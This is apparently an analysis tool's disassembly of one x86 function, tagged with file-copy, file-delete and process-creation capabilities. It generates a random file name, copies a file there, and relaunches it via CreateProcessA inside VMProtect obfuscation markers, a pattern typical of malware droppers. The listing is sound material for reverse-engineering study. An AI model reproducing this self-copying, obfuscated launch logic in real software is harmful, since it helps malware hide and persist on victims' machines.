Function at 0x4017c1
Capabilities:
Copy file
Create process on windows
Delete file

Disassembly:
jmp 0x405620
sub esp, 0x664
push ebx
push ebp
push esi
push edi
push 0
mov byte [esp + 0x36c], 0
mov byte [esp + 0x16c], 0
call dword [sym.imp.VMProtectSDK32.dll_VMProtectBeginVirtualization]
lea eax, [esp + 0x368]
push 0x104
push eax
call fcn.0041a360
mov edx, dword [esp + 0x680]
add esp, 8
lea ecx, [esp + 0x168]
push ecx
push edx
mov ecx, 0x42a830
call fcn.0040173a
lea edi, [esp + 0x168]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x368]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x68]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.0041a360
mov eax, dword [esp + 0x68c]
add esp, 8
test eax, eax
jne 0x40571a
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
call esi
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea ecx, [esp + 0x16c]
push 0x42568c
push ecx
call ebx
mov al, byte [esp + 0x174]
add esp, 0xc
test al, al
lea ecx, [esp + 0x168]
je 0x405733
movsx eax, al
cdq
mov esi, 0x19
idiv esi
add dl, 0x61
mov byte [ecx], dl
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x405700
jmp 0x405733
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea edx, [esp + 0x16c]
push 0x42568c
push edx
call ebx
add esp, 0xc
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x46c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x46c]
mov ecx, 0x42a830
push eax
push 0x23
call fcn.0040173a
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x570]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x570]
push ecx
push 0x7a
mov ecx, 0x42a830
call fcn.0040173a
lea edx, [esp + 0x570]
push edx
call dword [sym.imp.MSVCRT.dll_atoi]
mov ebp, eax
lea eax, [esp + 0x470]
lea ecx, [esp + 0x16c]
push eax
lea edx, [esp + 0x6c]
push ecx
push edx
lea eax, [esp + 0x74]
push 0x4256e0
push eax
call ebx
add esp, 0x18
lea ecx, [esp + 0x64]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x64]
push 0
lea eax, [esp + 0x36c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
test esi, esi
je 0x40588d
mov esi, dword [esp + 0x680]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x20]
test esi, esi
rep stosd dword es:[edi], eax
je 0x405802
mov edx, esi
xor ecx, ecx
mov dword [edx], ecx
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
jmp 0x405818
xor eax, eax
lea esi, [esp + 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x67c]
test eax, eax
je 0x405869
mov ecx, dword [esp + 0x168]
lea edx, [esp + 0x64]
xor ecx, ebp
shl ecx, 1
xor ecx, 0x10753e3
push ecx
push eax
push edx
lea eax, [esp + 0x174]
push str._s__s__f_d
push eax
call ebx
add esp, 0x14
lea ecx, [esp + 0x20]
lea edx, [esp + 0x168]
push esi
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
push edx
jmp 0x405883
lea eax, [esp + 0x20]
push esi
push eax
push 0
push 0
push 0
push 1
push 0
lea ecx, [esp + 0x80]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
call dword [sym.imp.VMProtectSDK32.dll_VMProtectEnd]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x664
ret 0x10